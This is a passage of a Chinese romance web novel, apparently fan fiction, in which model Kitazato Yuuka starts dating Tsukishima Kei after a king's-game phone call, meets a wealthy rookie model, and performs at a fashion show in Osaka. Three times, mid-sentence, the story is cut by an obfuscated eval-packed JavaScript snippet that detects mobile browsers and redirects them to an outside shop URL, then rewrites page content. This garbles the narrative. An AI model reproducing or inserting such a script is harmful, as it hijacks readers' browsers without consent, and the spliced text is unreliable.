他是个大嗓门、又是班上的气氛烘托者，加入的人不在少数。 “我们也去！” 星野杏和村上由奈自然举起了手，一时间人数扩张到了十人。 转校来快半年的时间，北里悠花基本没参加过班上的集体活动。从前他们还会礼貌性地问她要不要一起，拒绝的次数多了、也不再有人自讨没趣。 当然这并非一件好事，人是社会性动物，为了不被疏远成为别人口中阴暗孤僻的毒蘑菇、这次北里悠花也施施然举起了手。 “我也和大家一起去。” 她举手的时机正好，所有人的注意力一下子全集中到了她身上。佐佐木同学顿时喜上眉梢，飞快应声：“完美！这次北里同学可是也加入了，还有要来的吗？” 北里悠花的参加，又陆续吸引了几个同学加入、但这些都不是她的目标。 她还在等待。 “……” 过了许久，月岛萤和山口忠依然没有举手。 于是佐佐木同学做了最终统计：“那就这样，等下我们在班级门口集合一起出发。” ？为什么不参加！ 北里悠花愤愤转头看向月岛萤，气不打一处来。 说完喜欢转头就走也就算了、告白了还不和她谈恋爱要拖到考试后也就算了，凭什么现在考试都结束了也还一点表现都没有啊！可恶的月岛萤！！！ 注意到北里悠花过于炽热的目光，月岛萤勾了勾嘴角拿出手机打字。 月岛老师： 「晚上排球部也有聚餐。」 北里悠花并没有接受月岛萤轻飘飘的说辞。她的手指重重敲击屏幕，发出去的消息都带有情绪色彩。 Yuuka： 「哦，所以呢？」 月岛老师： 「所以，晚上聚餐结束了我过来送你回家。」 「可以吗？」 北里悠花的心情瞬间多云转晴。 月岛萤的拉扯技术在几天之内突飞猛进，她被哄得像一朵绽放的太阳花。注意到她过分幸福的笑容，星野杏有些困惑：“悠花、你怎么突然那么开心呀？是发生什么好事了吗？” 北里悠花点击发送键，随即锁屏。 她摇了摇头：“只是因为考试结束了很开心啦。” Yuuka： 「那好吧。」 * 卡拉OK位于商业街的尽头。 北里悠花都记不清自己上一次参加这种集体活动是什么时候了，大概是国中毕业？家里破产后因为金钱拮据游离在班级之外，当上艺人后又因为行程安排没有档期。东京留给她的印象只跟物欲有关，呼吸的每一秒都在烧钱。 人一多就有些吵闹。 包厢很大、却也满满当当塞了十几个高中生进去，空调的冷气丝毫不起作用。 北里悠花坐在女生们的正中间，举起手机开始和她们留下纪念照。闪光灯亮起、拍了一张又一张、调整了三遍美颜参数并确认完所有人的表情管理，才终于点击保存。 这时不怕尴尬的佐佐木已经开始熟门熟路地点歌，拿起话筒倾情献唱。同学们也都很给面子，大呼小叫着“佐佐木以后绝对能歌手出道”。 佐佐木同学的歌技确实不赖。 他唱的是青山黛玛的老歌，《留在我身边》。这首拿下公信榜最高销量的神作，被男高中生演绎得极为动听。比起原唱异地恋女生的淡淡悲伤，他唱起来倒有了几分洒脱的感觉——当然离歌手出道还是差了很远。 “但是，闭上眼睛的时候、睡觉的时候，全是关于你的事。” “直到现在、我的思念还在延续。” 星野杏坐到她身边、给她倒了一杯冰橙汁，又把村上由奈叫了过来。她们更换座位，平时最为亲近的三个人总算坐到了一处。星野杏就这样抱着北里悠花的手臂摇晃：“这还是第一次和悠花一起出来玩呢，我真的好开心！” 村上由奈也表示同意：“对啊，可是一进门悠花就被她们抢过去拍照了！” 北里悠花安抚她们的情绪：“我也很想和你们一起出来玩的，只是最近实在有点忙。” 自己老是给别人希望，但又从来不会实现她们的期待，用低劣的手段欺骗真心将她当作朋友的女孩们。 北里悠花擅长产生不合时宜的矫情。 在面对真诚的人时，只当这是一场社交活动的她就显得格格不入了起来。 橙汁的味道有些苦涩，北里悠花转移视线不再看她们。 听着星野杏和村上由奈还在一人一句关心她，说“工作真是太辛苦了”、“我们没关系的，你自己好好休息才最重要”、“以后一起出去玩的机会还很多”……她也竟然难得地良心发现，心口泛酸。 歌曲还在一首首轮换。 最后唱累了的一群人决定玩国王游戏。 抽中鬼牌的人当选国王，被国王点到号码的两个人则需要无条件服从国王的指令。诚然这是一个老套至极的酒桌游戏，但对于高中生们来说十分适用。 大家都藏着隐秘的期待、既希望成为发号施令的国王，又想成为被调侃、却也是万众瞩目的指令执行者。 前几轮的国王都比较温柔。 因为刚开始，发号的任务都很简单：不是两个人牵个手、就是两个人抱一下。虽然周围人都在起哄，却也无关痛痒。 北里悠花一直没被叫到，在游戏里安分当着透明人。 “天啊，终于轮到我当国王了。” 这一轮的国王是星野杏。 她不怀好意地笑了笑，大声说：“那就红桃A和红桃10吧！请你们现在拿出手机、给消息列表的第一个异性打电话，说‘我们在一起吧’！要记得开公放哦。” 有意思。 北里悠花翻开自己的纸牌，上面赫然写着红桃A。 ——她抽中了任务。 另一个抽中红桃10的的男生此时已经害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522844|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羞得满脸通红，但还是掏出电话打算给心仪已久的女生表白、只可惜电话始终没有接通。 如是重复了几遍还是没有回音，大家只能把焦点转移到红桃A的身份上。 于是在众人带有好奇、窥探、兴奋的目光之下，北里悠花直接宣布： “我是红桃A。” 北里悠花消息列表的第一个异性当然是月岛萤。 她心中无比感谢星野杏送来一个绝佳的时机，毫不惊慌地按下通话键，并将公放打开。 * 月岛萤接到了北里悠花的电话。 经过了IH的苦战和严峻的期末考试，排球部众人今晚发誓要掏空乌养教练和小武的钱包，正在烤肉店里大杀四方。空盘子被不断叠起，到达一个可怕的高度。 月岛萤干脆推开门、走到店外。 明明已经约好等下见面、为什么会在这个时候打电话来？ 虽然有些奇怪，他还是接起了电话。 电话那头是诡异的安静。 她应该还在卡拉OK才对，按理说不会一点声音都没有。 除非…… 月岛萤没有贸然开口，等待对方先说话。 如果放在平常，电话接通的那一秒北里悠花就会开心地叫他的名字。 但今天没有，显然是不想让周围人知道通话的对象是谁。 月岛萤心中已经有了大致推测。 只听那头传来一句： “我们在一起吧。” 确实是北里悠花的声音没错。 周围那么安静，应该是在玩国王游戏。 要问月岛萤为什么会知道，他毕竟和这群人同班了一年多。 去年他和山口忠也参加了卡拉OK聚会，唱到最后就开始玩无聊的国王游戏。他记得当时是星野杏抽中了鬼牌当选国王，并饶有兴致地撺掇另外两个人打电话给异性表白。 看来今年的套路依旧没有变。 这个愚蠢的游戏当然不是什么强制性的，如果实在不想执行命令接受一个简单的小惩罚即可。大家并不会为难同班同学，毕竟以后低头不见抬头见。 而北里悠花作为艺人的职业特殊性更甚，如果她拒绝相信没有人会强.迫她完成。 那么只剩下一种可能性。 北里悠花是故意的。 时间、地点、人物，全都正好。 月岛萤按了按太阳穴，晚风让他的大脑清醒不少。远处霓虹拉长成一道破碎的倒影，店内队友打闹的声音还在不断传来。 而他还是按部就班地走进了北里悠花的圈套。 “好。” 他说。 * 得到确定回复的北里悠花迅速挂断了电话。 原本一片安静的包厢在沉默几秒之后，爆发出潮水一般的叫喊声。 “欸欸欸——！！！” “是答应了吧，是答应了吧！！！” “我就知道没人能拒绝悠花女神……” “有没有人觉得这个人的声音很耳熟？” “但是太短了啦，只说了一句话就没了！” 北里悠花并没有过多回答，只是摆了摆手说：“玩游戏而已，大家不用当真的。” 她的面颊上是淡淡的粉色红晕，看起来并没有把刚才的插曲放在心上。 23.23. 游戏还在继续。 尽管时间已经来到晚上八点半，这场被考试压抑许久的狂欢都迟迟没有结束的迹象。高中生们完全放开了自我，拿起话筒就开始嘶吼数码宝贝的主题曲。 月岛老师： 「我到了。」 商店街的店铺早已打烊得差不多，收到消息的北里悠花看了眼时间准备退场。 她并没有惊动太多人，只是跟身边的星野杏和村上由奈说了声，就以“第二天要早起工作”为由先行离开。 去见喜欢的人、北里悠花是用跑的。 下楼的步子无比轻快，她按耐不住想要见面的心情。制服裙摆跟着跳跃、连包上的小丸子挂坠都被甩得摇摇晃晃。 她一眼就看见了月岛萤。 对方单肩背着包，懒懒站在一楼店门口、正在看手机。 北里悠花快步走到月岛萤身侧，戳了戳他的手背：“你怎么现在才来接我呀~” 语气是标准的坠入恋爱中的少女，不自觉就带上了点撒娇。 注意到北里悠花的动作，月岛萤随口答道：“我到了半小时了。” “欸？那为什么不给我发消息让我早点下来。” “你不是玩得挺开心？” 如果他没记错，这应该是北里悠花的第一次参加班级聚会。 尽管在月岛萤看来卡拉OK和国王游戏都跟浪费生命没什么两样，但他不想因为自己、而让北里悠花牺牲掉和朋友建立友谊的时间。况且他只等了半小时，实在无足轻重。 他们慢慢走向回家的方向。 北里悠花并不满足于刚刚电话里的恋爱请求，走着走着就又自然地靠近了月岛萤一点。 “我们现在是什么关系？”她一边走、一边拉住月岛萤的衣角。 月岛萤瞥了她一眼：“你说呢？” “我才不说、我就要你说。”北里悠花停下脚步，狡黠地抬头看向他的双眸。 可喜可贺。 历经几个月，月岛萤终于从北里悠花手中接过了早已为他准备好的男主角剧本、从此脱离了默默无名的路人角色。 月色之下、月岛萤牵起了北里悠花的手。 “是能牵手的恋人关系。” 他们终究还是成了最亲密的人。 * 时间进入暑假，气温已攀升至三十摄氏度。气象专家在新闻里大肆宣扬“这是日本有史以来最热的一个夏天”，柏油马路蒸腾起热气、在阳光的照射下扭曲成海市蜃楼的景象。 真正谈起恋爱来反而没有那么多空闲。 正式确定恋爱关系后，新鲜出炉的小情侣竟然还没有约过会。 月岛萤一放假就跟着排球部去东京参加合宿，没个十天半个月回不来；而随着七月末尾KANSAI COLLECTION的临近，北里悠花也开始大阪仙台两头跑、简直比上学还要忙。 都说高中生恋爱最容易在初期夭折。 为了维系感情，北里悠花每天保持着高强度的聊天频率、有时到了晚上两个人还会打一个简短的电话。虽然大多时候都是她在单方面输出废话，但好在月岛萤是个闷骚型人格，就算她随便发个标点符号过去、都会老老实实地回复。 也因为身份的转换，北里悠花给月岛萤的LINE备注从「月岛老师」、变成了「K君」。 英语字母K和月岛萤的萤（KEI）发音相同，每每看到这个备注名北里悠花都会折服于自己天才的想法、这是只有她才知道的小心思。 Yuuka： 「（图片）」 「在试走秀要穿的衣服啦～」 「你在干森莫0.0」 大阪京瓷巨蛋，后台休息室。 北里悠花给月岛萤发了一张自拍。走秀的模特们从不屑于当季的衣服，所以即便正值酷暑、也需要套上厚实的冬装引领潮流。此时她就穿着一件毛茸茸的粉色毛衣开衫、搭配一条超短百褶裙和黑色长靴，是典型的原宿女孩穿搭。 造型师还特意帮北里悠花打造了爱豆同款斜刘海和长卷发，看上去分外和谐。她就这样对着镜子左看右看，并摆出wink的动作自拍。 月岛萤隔了许久才回复，显然是刚刚才看到消息。 K君： 「刚训练完，在休息。」 「（图片）」 他传来一张排球场的照片，地上散落了一堆球。 Yuuka： 「怎么没有你的照片？（生气）」 K君： 「？」 Yuuka： 「我想看新鲜的月岛萤！（亮晶晶）」 K君： 「你想想吧。」 某些时候月岛萤并不惯着北里悠花，就像他实在无法做出在一堆人的注视下举起手机自拍的事来。好在北里悠花也不是时时刻刻都在胡搅蛮缠，很快她就善解人意地发来一句。 Yuuka： 「好吧，我要去排练啦。」 「晚上给你打电话哦~」 月岛萤笑了笑，保存下她发来的自拍。 * 离正式走秀还有三天，这是北里悠花第一次见到夏川西奈。 “北里前辈您好，我是夏川西奈。从今天开始就请多多指教了。” 她站在日向小姐的身旁，身高和北里悠花差不多。 日向小姐选人的眼光确实不赖，对方看起来就是个气质不凡的大小姐。她穿着一身白色洋装，举手投足之间都礼貌而妥帖、一张娃娃脸笑起来又十分可爱，简直是高配版本的北里悠花。 这位毫无经验的新人就这样因为日向小姐的“带资空降”，抢了她一半的镜头。 “那你们先互相了解、赶快熟悉一下，等下彩排好好走。”日向小姐并不在乎她们两个如何相处，她风风火火地将人带来、又很快跑到另一边的黄濑凉太那儿去了。 说是没有不开心是假的。 但北里悠花不愧在演艺圈混迹多年，不爽到极点也能露出微笑来打招呼：“你好呀，我可以叫你西奈吗？你也可以叫我悠花哦。” “好的！悠、悠花前辈。”夏川西奈回答得有些生涩，“今后可能有很多要麻烦的地方，我还是个新人、可能什么都不懂。” “当然没问题，大家都是这样开始的！从今天起我们就是一个事务所的朋友啦，以后要见面的机会还很多，你不用这么紧张的~”北里悠花安慰她。 “谢谢悠花前辈。” 夏川西奈有一头健康的黑色长发，每一根发丝都柔顺发亮。她看起来会定期前往高级美容院，不仅皮肤细腻，连指甲都是原生甲床、还涂了层饱满的护甲油。北里悠花能闻出高级定制的香味，眼前的人确实是个货真价实的千金小姐。 她万万没有得罪对方的必要，于是试探性地询问：“话说西奈，我听日向小姐说你在东京上高中，是在哪所学校呀？我之前也在东京、只是后来转学到宫城去了。” “我是冰帝学园高等部的学生。”夏川西奈并不设防。 她当然知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538298|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “欸——天哪！”但北里悠花还是假意附和，“听说你们学校的都是公子哥和大小姐，怪不得西奈你气质那么好又那么漂亮~” 没有人会拒绝赞美、更何况是来自美女的赞美。 夏川西奈同样十分受用，她的语气里没有丝毫自满：“没有啦，我家里只是做普通生意、根本算不了什么的。而且悠花前辈你也很漂亮，我经常买你的封面杂志！” 她的语气实在很真诚。 北里悠花没有选择再问下去，不然就太刻意了。 “我们大概还有三十分钟就要开始彩排咯，西奈你还不去换衣服吗？” 夏川西奈看起来并不着急，她慢悠悠地解释道：“因为我很少穿快销品牌的衣服，有点害怕过敏。所以先提前吃了过敏药，等药效上来了再换衣服会保险一点。” 聚酯纤维会让有钱人的皮肤过敏，但对穷人来说却是最有性价比的选择。 夏川西奈早就习惯了优渥的生活，所以根本不觉得自己说出的话有多奢侈。 但做过穷人的北里悠花就能认出，夏川西奈随手放在地上的低调帆布包其实是爱马仕花园；她脖子上的项链必然不是品牌方的、而是自己的宝格丽——毕竟抠门的品牌才不会借那么大颗的钻石给模特们；连脚上踩着的都是一双娇贵的小羊皮，根本沾不了一滴水。 短时间内就被业界顶尖的日向小姐看中签约，出道首秀就是在全日本最人气的时装秀之一。 ——再完美的脸蛋也很难一下子做到如此地步，除非她有特殊的关系。 答案很明显，夏川西奈就是传说中的富人阶级。 大小姐一看就是将模特行业当成了自己的消遣方式，她眼中并没有多少对这个行业的憧憬，只是以审视的目光打量着周围的一切。 日向小姐是有选人的眼光没错，但她并不了解有钱人的想法。 说到底日向小姐也是底层社畜出身，一步步从助理走到了今天。她一年四季基本上都穿着职业装，二十四小时都被工作填满。她不会知道夏川西奈那双连logo都没有的鞋子价值多昂贵，也不会知道有钱人做一次头发护理要多少钱。 她想让夏川西奈成为北里悠花的替代品，却没想过夏川西奈根本不需要。 对于大小姐来说，生活不过是用来体验的。她早上出来体验人间疾苦，晚上就会再回到那间恒温的中央空调房间、喝一杯高级饮水机净化过的水、享受佣人们的服侍。 这一切对她来说早已习以为常，她生来就拥有最好的东西。 这哪里是对手，这是北里悠花的机会。 看来自己那天晚上为了这件事哭、还真有些不值得。 北里悠花装作惊喜的样子，掩住嘴巴：“谢谢你一直支持我。没想到我们这次还能一起走秀，真的好有缘分呀。” 大小姐很快就被北里悠花的甜言蜜语哄得天花乱坠，笑得露出两个小梨涡：“是呀！”她有些害羞，拿出了自己的手机。 “北里前辈，我可以加你的联系方式嘛？” 北里悠花自然没有拒绝的理由，很快同意。 一切资源都能为她所用，和人一起走个秀又算得了什么。 大小姐身边必定不会缺少虚与委蛇的人，如果只是单纯讨好对方、反倒会引起反感。最佳选择就是成为一个适当释放善意、又温柔可亲的漂亮前辈，让大小姐主动产生想要深入接触的念头。 既然日向小姐和事务所做好了随时抛弃她的准备，那她也没有必要太过纠结。 24.24. 这是北里悠花第一次和夏川西奈彩排。 舞台很大，纵向延伸出T台的位置。能容纳超36000人的巨型空间现在仍是一片黑色、显得有些过分空旷。灯光摄像音效师正在轮番上阵进行调试，staff又拿着话筒安排每个环节的人员上场走位。 模特们此时各个穿着光鲜，挤压在后台等待指示。闷热的空气让穿着秋装的北里悠花全身冒汗，只觉得自己像在桑拿房里浑身不自在。她们如同会固定刷新的NPC，一波接一波地重复循环。 夏川西奈穿着她最讨厌的聚酯纤维，局促地搓了搓自己的手臂、又悄悄解开两颗大衣扣子想透口气。 注意到她的动作，北里悠花笑了笑：“很热吧？每次这种时候最难受了，不知道要等多久才能上场彩排。” “是呀，而且人又多又闷。我今天穿的还是大衣，真怕等下在台上笑不出来。” 夏川西奈无奈地叹了口气。她是第一次见识到这种场景，方才优雅得体的样子早就不复存在、看上去没什么精神。 “西奈为什么会想做模特呢？” “啊，这个啊……大概只是单纯想被人看见吧。” 夏川西奈回答得含糊不清，慌忙将眼神投向别处。 但北里悠花并没有错过她脸上的害羞，这是只有在有喜欢的人时才会露出的神色。 于是心中了然，故意抛出一个话题引导。 “我懂，我也希望在舞台上闪闪发光的样子能被别人看到。”言及此处，她羞涩地低下头、声音也变小许多。 “……尤其希望被男朋友看到。“ “……欸？” “……！！！欸！！！悠花前辈已经有男朋友了啊！——” 面对同样抱有青春期烦恼的少女时，恋爱是永恒的话题。 夏川西奈的八卦心理被成功激起，此时已经睁大了双眼、满脸写着震惊与好奇。 北里悠花点了点头：“是的，我们才刚在一起不久。” 她并没有隐瞒的打算，出身名门的大小姐必然不是说三道四的性格。只需分享一个微不足道的信息，对方就会和找到盟友一样、将自己的想法逐渐坦诚相待。 “好羡慕呀，悠花前辈的男朋友一定很帅吧！” “这个嘛，我是觉得他很帅啦。” “欸！是同学吗，难道也是模特？” “是一个学校的哦。”北里悠花朝夏川西奈眨了眨眼，又将手指放到嘴边做出一个噤声的动作，“西奈你可要替我保密哦，你是第一个知道这件事的人~因为实在觉得和你很投缘，竟然不知不觉就说出来了。” 夏川西奈用力地点头，作出保证：“呜呜呜悠花前辈你放心吧，我绝对不说出去！其实我一直以为你在和黄濑前辈秘密恋爱来着，你们在封面上真的很配。” “我和黄濑君只是朋友啦！”北里悠花无奈解释。 北里悠花并没有将恋爱公之于众的想法。 在她看来，恋爱从始至终都是两个人的事情，他人的评判只会影响判断力。一个人是否真的和自己适配，必须用自己的眼睛去观察、去感受。 她虽然透露了恋爱的事实，但说得十分模棱两可，没什么重点。 这时候就需要点到关键。 “西奈你那么可爱，也一定有男朋友了吧~” “我的话、只是有喜欢的人了。” “能被西奈你喜欢的人一定很优秀。” “只是，他实在太好了……我好像怎么追都追不上他的脚步。” 大小姐头一次露出了这副样子，看起来可怜兮兮的。 北里悠花心中觉得十分可笑，也不知道对方究竟是何方神圣，才能让夏川西奈愿意在这样拥挤的后台穿着廉价服装、成为被展示的商品之一。 “可在我看来，西奈你也很有魅力。” 终于轮到她们上场彩排了。 跟随着人群移动，北里悠花凑到夏川西奈耳边轻轻说道。她顺手帮对方扣上了方才解开的外套扣子：“品牌方的人会在意服装展示的完整性。好啦，现在这样就没问题了。” 夏川西奈转头看向北里悠花。 对方的侧脸精致小巧、妆容完美。镁光灯聚焦在她身上的一瞬间，能迅速切换成营业表情，露出甜美可爱的上镜笑容。 从小在各种商务社交场合徘徊，夏川西奈自然能分辨出虚情假意的人、也知道北里悠花刚才话里不免有些试探性的提问。 但她并不讨厌。 夏川西奈走起台步还有些生疏，但好在她年龄尚小，现在青涩的样子也能更好体现出服装的少女感。站定在摄像机前摆出pose，她和北里悠花的脸被双双投至巨大的屏幕上、清晰到每一个毛孔都能被看清。 夏川西奈有些恍惚。她突然感觉自己变成了任人摆弄的玩偶，既没有价值、也不是最漂亮的那一个。 * 黄濑凉太在台下看着大屏幕。 他今天很帅气，就算放在全是美男美女的演艺圈也依旧吸睛。才到没多久，他就在后台被两位女生模特塞了小纸条、上面写着她们的联系方式。 和上任女友分手已经一年多，黄濑凉太一直在空窗期。 向他示好的人不在少数，但忙着打篮球没空搞暧昧的他有时候都记不起LINE里突然冒出来打招呼的头像是谁。今天“莉子”明天是“夏子”，零零总总小一千号人塞满了他的通讯录。 说实话、他并没有那么需要谈恋爱，但遇到感兴趣的猎物时又总会主动出击。 黄濑凉太欣赏北里悠花、想接近她，却没有一点与她恋爱的想法。 日向小姐新签了一个新人，他猜北里悠花现在心情应该不怎么好。不过看屏幕上的样子、她还是和往常一样没有破绽，这也是他觉得最有趣的地方。 分明是个自私的人，却要装得大度温柔。每一句话都经过精心设计，根本分不清楚真假。 他随手拿出手机，将有北里悠花的大屏拍摄下来。 在相册里挑挑拣拣，又勾选了几张其他的图片一起发了IG。他们在互联网上的互动暧昧无比，为了维持流量事务所也默许了这种行为的合理性。 KiseRyota： 「KANSAI COLLECTION准备中☆」 服装和造型不能提前泄露，他打马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580819|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打得很严实、只露出一个模糊的人影。但评论区的粉丝还是立刻认出了她是谁，留下一串诸如“太般配啦”、“男友视角”、“是我推的高中生模特cp”的评论。 他给评论一一点了“喜欢”。 黄濑凉太清楚，北里悠花绝对不会生气。 她舍不得粉丝的赞美，始终在尽力营造完美的人气JK形象。但越是完美越容易像泡沫一样破裂，终究只是个不真实的梦。就算北里悠花哪天真的谈恋爱了，也会因为相似的理由以失败告终。 * 东京，枭谷学园合宿所。 异地男友月岛萤一直到晚上九点才结束全天的训练。 他被排球白痴们耗尽了体力，草草补充蛋白质后就冲完了澡。最近养成了睡前登陆IG的习惯，北里悠花的账号并没有更新什么内容。 但是IG有一个主页提及功能。 如果对方标注了她，就会在主页的关联帖子里面出现。 月岛萤随便滑了两下，没想到刷到了黄濑凉太和北里悠花的cp向贴文。 粉丝上传了两张截图。 第一张是黄濑凉太发的那个北里悠花的模糊身影。 第二张是黄濑凉太给评论区cp粉的点赞记录。 「（图片）来自黄濑君的男友视角，我又磕到了555」 他之前就拉黑了黄濑凉太的账号，所以根本看不到对方主页的内容。因此特地从黑名单里解除拉黑，这才终于看到了这位模特同学在下午发的IG。 月岛萤只觉得自己的太阳穴突突直跳。 眼不见为净，他再次将黄濑凉太的账户拉黑。 前几天北里悠花的电话都会准点打来，今晚也不例外。 由于合宿睡的是大通铺，为了不影响其他人、月岛萤走到宿舍门口的长椅上坐下等待。 果不其然，没过多久电话就响了起来。 “你在哪里呀？” “在宿舍门口的椅子上坐着。” “大阪好热哦，今天穿了一天毛衣感觉要被热化了。” “东京也很热。” 他们老是说一些琐碎的日常，哪怕只是听到彼此的声音也很开心。北里悠花在电话里喜欢撒娇，距离反而让她卸下了平时的戒备心。 “你今天训练累嘛~” “和前几天差不多，不过总算赢了几局。”月岛萤抬头看了眼夜空，“你呢？今天不是要和新人一起彩排。” 北里悠花昨天就在电话里和他抱怨过，那天晚上也是因为这件事让她哭得不成样子。 月岛萤其实并不清楚演艺圈和事务所的条条框框，只是单纯担心北里悠花再一次受委屈。 但好在，北里悠花听起来并没有很难受、甚至语气里还有一丝隐隐的兴奋。 “意外是位不错的大小姐呢，也很好相处。” 她这么说、应该就没什么问题了。 “那就好。” 这回轮到北里悠花提问。 “你是不是明天就合宿结束了呀。” “是，怎么了？” “那萤君要不要直接来大阪看我走秀呀？我给你留了票。” 25.25. 东京到大阪的距离是552.6公里，搭乘新干线需要2.5小时。 “即将进入站台的是由东京发出、开往大阪的新干线列车。由于危险、请您退回至黄色安全线以内等待。” 随着提示音、车门开启。 月岛萤背着巨大的运动挎包出现在新大阪站，他被迫适应起了关西圈的左行右立，和来自世界各地的游客一起在车站里穿行。 前往京瓷巨蛋还需要换乘两次电车，经过热闹的梅田商圈和心斋桥区域，才终于完成漫长的旅途到达目的地。 恋爱让人容易头脑发热，就像他收到北里悠花的邀请后就查好路线买完了车票，甚至都没有想过要拒绝。 东京合宿在上午结束，草草打完招呼后他就脱离大部队一个人前往新干线车站来到大阪。 好在除了山口忠、被折磨数日的运动选手们已经没有多余的力气关心他的行踪。月岛萤并没有直说自己去哪里，只用“晚上有点事”敷衍了过去。 新干线车票对于高中生来说是一笔不小的开支，更何况还有回程。好在他平时并没什么乱花钱的习惯，只是被这场不在计划中的旅行弄得有些烦躁。 这样的冲动并不是他平时的会做的事。 * 大阪京瓷巨蛋，KANSAI COLLECTION初日。 月岛萤戴上了耳机，但并不能隔绝所有的声音。 眼前全是打扮新潮的年轻面孔，JK们高高举起艺人的应援团扇拍照。他还看见了好几个北里悠花的粉丝，对着有她出现的海报进行打卡。 “啊！是悠花欸！” “要是有和黄濑君的双人海报就好了，可以一起打卡。” “我懂我懂！” “……” 路过的月岛萤没发现自己散发着的低气压，而正在讨论的女生们在看到来者不善的高个子后就纷纷走远了。 他也站在海报前驻足了一会儿。 海报上北里悠花无死角的笑容竟然有些陌生，明明私下里是个胡搅蛮缠、爱发小脾气、废话连篇的人。想到这月岛萤总算舒展了表情，将北里悠花的海报也拍了下来。 Yuuka： 「你到了嘛~」 K君： 「在排队检票。」 「（图片）」 「有你的海报。」 Yuuka： 「嘿嘿，这次我出场的部分都允许拍摄！好lucky！」 「所以等下要注意把我的样子记录下来哦（心）~现在我要准备下上台啦~」 K君： 「好。」 检票过后，月岛萤随着人流进入到巨蛋内部。 观众填满了整个场馆，这也是他第一次对自己交往的女友是艺人这件事有了实感。他的位置在场馆的中心区域，离舞台不算近，但胜在视野极佳、能将整个现场尽收眼底。 他的左右两边已经坐了人。 * 坐在月岛萤右边的是北里女士。 北里女士穿着一件浅色的无袖真丝连衣裙，戴着光泽温润的珍珠项链。肌肤并非像少女那般饱满，但经过常年的精心护肤与医美科技、仍然显得紧致无比，只是偶尔在做表情时才露出几道细纹。 她今天特意打扮得很低调，试图洗掉自己身上女公关的气息。平时在夜场时用的奢侈品包包和首饰也都没有带出来，只为营造上流社会贵妇人那般漫不经心的氛围。 这是北里女士第一次来看北里悠花的现场走秀。 她有时候觉得自己对女儿知之甚少。比如她不知道为什么自己已经赚了那么多钱了、北里悠花宁愿留在仙台也不愿意回东京；她也不知道为什么每每见面，就控制不住情绪、将对生活的抱怨都发泄到北里悠花身上。 明明悠花是自己唯一的宝物，也是支撑她活到现在的动力。 她不想因为自己的工作影响到女儿。 母女关系缓和后，北里女士收到了北里悠花寄来的邀请票、那一瞬间她竟然难得地红了眼眶。 想到这里，内心极其敏感的北里女士又从包里掏出纸巾、擦了擦眼角。 “不好意思，您的东西掉了。” 注意到地上滚落的口红，月岛萤将它捡起交还给身边的女士。 北里女士擦眼泪的动作一停，看了眼一坐下就吸引她目光的少年。 ——现在的孩子都是吃什么长大的？竟然个子那么高。 “啊啦，真是谢谢了。”道谢后出于职业的本能，北里女士张口就和月岛萤攀谈起来。 “你是来追星的吗？” 月岛萤没想到身边的女士会和自己聊天，但还是礼貌做了简短的答复。 “是受到朋友的邀请来的。” 北里女士也笑了笑：“我也是受到邀请来的，我女儿等下要在台上走秀。”说这句话时她的语气不自觉带上了自豪，月岛萤闻言点了点头并没有多问。 场馆的灯光此时已经完全暗下、周围的声音也都如同按了静止键。 随着节奏感极强的背景音乐响起，品牌的巨型logo出现在LED大屏上，这场西日本地区规模最大的时尚盛典拉开了狂欢的序幕。年轻的女孩们挥舞着手里的应援牌和荧光棒尖叫着，仿佛置身于演唱会现场。 人气模特们纷纷出现在台上。 他们一轮接一轮地更换服装，在T台上来回走动。脸上是统一模板刻出的灿烂笑容，到舞台中央定点停下、不时转一个圈。 比起与偶像的距离感，这种触手可得的平价品牌服装和宛如身边闺蜜般的同龄模特，更能让台下的粉丝获得即时满足。只要下单购买一件同款衣服，就能成为台上的她。消费主义像一个庞大的造梦机器，将贩卖的快消方式塞进每个人的大脑里。 空气都在振动，肾上激素被燃烧到顶点。 “啊啊啊——！” 随着海浪般的尖叫声再一次席卷而来，北里悠花今天第一次登台了。 她手捧一束淡粉色的郁金香，迈着轻松愉快的步伐走向前。无数台摄像机都追随着她的身影，导播疯狂地切换机位、只为定格下最完美的画面。 月岛萤认出她穿的是前天彩排时发给他的毛衣外套和百褶裙。长靴让她的比例更加高挑，在大屏幕中灵动又可爱。灯光晕出一层柔和的光圈，让她整个人也看起来毛茸茸的、如同雪地里的小兔子。 身边和她一起出场的，应该就是她口中的新人“大小姐”了，看起来也是个正常人。 她们停顿在舞台中央，朝粉丝们挥动双手打招呼。 最后北里悠花做出飞吻的动作，这才转身往回走去。 月岛萤一直知道北里悠花喜欢闪闪发光的一切，而她本身就是美好的存在。 按照北里悠花的指示，月岛萤在她出场时拍了几张大屏保存在手机里。只是没想到身边的那位女士也在北里悠花出场时拿出手机拍摄、甚至还有些眼含泪光的趋向。 他没 